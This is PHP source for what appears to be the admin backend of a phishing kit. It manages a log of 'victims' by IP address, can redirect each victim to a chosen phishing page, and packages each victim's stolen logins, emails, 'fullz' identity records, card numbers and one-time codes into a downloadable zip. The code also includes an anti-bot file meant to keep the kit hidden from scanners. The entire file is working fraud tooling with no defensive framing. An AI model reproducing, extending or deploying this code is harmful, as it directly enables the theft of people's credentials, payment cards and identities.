<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');

require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $action = $_POST['action'];
    $logs_file = __DIR__ . '/files/logs/all_logs.json';
    
    if ($action === 'clear_blocked') {
        $type = $_POST['type'] ?? '';
        if ($type === 'antibot') {
            $file = __DIR__ . '/files/blocked/blocked_ips.txt';
        } elseif ($type === 'admin') {
            $file = __DIR__ . '/files/blocked/admin_login_blocked.txt';
        } else {
            echo json_encode(['success' => false, 'error' => 'Invalid type']);
            exit;
        }
        if (file_exists($file)) {
            file_put_contents($file, '');
        }
        echo json_encode(['success' => true]);
        exit;
    }
    
    if ($action === 'clear_visitors') {
        if (file_exists($logs_file)) {
            $json_data = json_decode(file_get_contents($logs_file), true);
            $json_data['vistors'] = 0;
            file_put_contents($logs_file, json_encode($json_data, JSON_PRETTY_PRINT));
            echo json_encode(['success' => true]);
            exit;
        }
        echo json_encode(['success' => false, 'error' => 'Logs file not found']);
        exit;
    }
    
    if ($action === 'delete_all') {
        if (file_exists($logs_file)) {
            $json_data = json_decode(file_get_contents($logs_file), true);
            $empty_data = [
                'vistors' => $json_data['vistors'],
                'all_logs' => []
            ];
            file_put_contents($logs_file, json_encode($empty_data, JSON_PRETTY_PRINT));
            echo json_encode(['success' => true]);
            exit;
        }
        echo json_encode(['success' => false, 'error' => 'Logs file not found']);
        exit;
    }
    
    if (isset($_POST['ip'])) {
        $ip = $_POST['ip'];
        if (file_exists($logs_file)) {
            $json_data = json_decode(file_get_contents($logs_file), true);
            $logs_data = &$json_data['all_logs'];
            $updated = false;
            
            foreach ($logs_data as $idx => &$entry) {
                if ($entry['ip'] === $ip) {
                    switch ($action) {
                        case 'block':
                            $entry['Status'] = 'Blocked';
                            $updated = true;
                            break;
                        case 'unblock':
                            $entry['Status'] = 'Online';
                            $updated = true;
                            break;
                        case 'delete':
                            unset($logs_data[$idx]);
                            $updated = true;
                            break;
                        case 'download':
                            $tmpDir = sys_get_temp_dir() . '/victim_' . preg_replace('/[^a-zA-Z0-9_]/', '_', $ip) . '_' . uniqid();
                            mkdir($tmpDir, 0777, true);
                            $files = [];
                            $categories = [
                                'logins' => "login.txt",
                                'emails' => "email.txt",
                                'fullz' => "fullz.txt",
                                'cards' => "card.txt",
                                'codes' => "code.txt"
                            ];
                            foreach ($categories as $cat => $filename) {
                                $content = '';
                                if (!empty($entry[$cat]) && is_array($entry[$cat])) {
                                    foreach ($entry[$cat] as $item) {
                                        foreach ($item as $key => $value) {
                                            $content .= ucfirst($key) . ': ' . $value . "\n";
                                        }
                                        $content .= "----------------------\n";
                                    }
                                }
                                file_put_contents("$tmpDir/$filename", $content);
                                $files[] = "$tmpDir/$filename";
                            }
                            $zipPath = "$tmpDir/victim_$ip.zip";
                            $zip = new ZipArchive();
                            if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) {
                                foreach ($files as $file) {
                                    $zip->addFile($file, basename($file));
                                }
                                $zip->close();
                            } else {
                                http_response_code(500);
                                echo 'Could not create zip file.';
                                exit;
                            }
                            header('Content-Type: application/zip');
                            header('Content-Disposition: attachment; filename="victim_' . $ip . '.zip"');
                            header('Content-Length: ' . filesize($zipPath));
                            readfile($zipPath);
                            foreach ($files as $file) @unlink($file);
                            @unlink($zipPath);
                            @rmdir($tmpDir);
                            exit;
                        case 'redirect':
                            $page = $_POST['page'];
                            $entry['redirect'] = strtolower($page);
                            $updated = true;
                            break;
                    }
                    break;
                }
            }
            
            if ($action === 'delete') {
                $logs_data = array_values($logs_data);
            }
            
            if ($updated) {
                $json_data['all_logs'] = array_values($logs_data);
                file_put_contents($logs_file, json_encode($json_data, JSON_PRETTY_PRINT));
                echo json_encode(['success' => true]);
                exit;
            }
        }
        echo json_encode(['success' => false, 'error' => 'Victim not found']);
        exit;
    }
    echo json_encode(['success' => false, 'error' => 'Invalid request']);
    exit;
}
echo json_encode(['success' => false, 'error' => 'Invalid request']);
exit; 